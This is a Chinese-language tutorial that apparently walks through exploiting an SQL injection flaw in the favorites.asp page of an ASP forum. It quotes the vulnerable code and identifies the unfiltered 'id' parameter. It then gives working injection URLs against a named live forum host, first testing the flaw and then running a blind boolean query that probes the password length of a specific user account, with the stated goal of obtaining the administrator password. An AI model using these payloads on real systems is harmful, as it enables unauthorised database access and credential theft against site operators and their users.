if request.cookies("username")="" then error(" 您还还未登陆社区") end if
select case request("menu") case "add" if request.servervariables("request_method")="post" then url=request("url") else url=request.servervariables("http_referer") end if conn.execute("insert into favorites(username,name,url)values("&request.cookies("username")&","&request("name")&","&url&")") error2("已经添加到网络收藏夹!")
case "del" conn.execute("delete from [favorites] where username="&request.cookies("username")&" and id="&request("id")&"") end select //***************************后面的无用代码略掉********************************//
看到代码了,首先要注册使用本功能. 然后在这个asp文件中提交的参数有:menu,id就这两个值. 大家看看,当提交的menu=del的时候。哈哈!调用的是什么?就是它,它就有漏洞。漏洞在哪里? conn.execute("delete from [favorites] where username="&request.cookies("username")&" and id="&request("id")&"") 提交的id值没有过滤直接加入到sql语句中了。
攻击演示
第二步,利用漏洞,得到前台管理员密码.
接到上面的来。我们测试一下这个漏洞是不是存在. 自己先添加一个收藏地址进去.得到收藏的id号(我们得到的是576)。 在ie中提交. http://bbs.yuzi.net/favorites.asp?menu=del&id=576 and 1=1 提交到sql中,实际上就是: conn.execute("delete from [favorites] where username="&request.cookies("username")&" and id=576 and 1=1") 不用管那个request.cookies("username").他直接就等于你进来的用户名. 提交后,发现我们收藏的文件被del了。证明有这个漏洞,没有打上补丁。
呵呵,提交到sql中,又是什么呢? conn.execute("delete from [favorites] where username="&request.cookies("username")&" and id=576 and 1=(select count(*) from [user] where username=kongweb and len(userpass)=5)")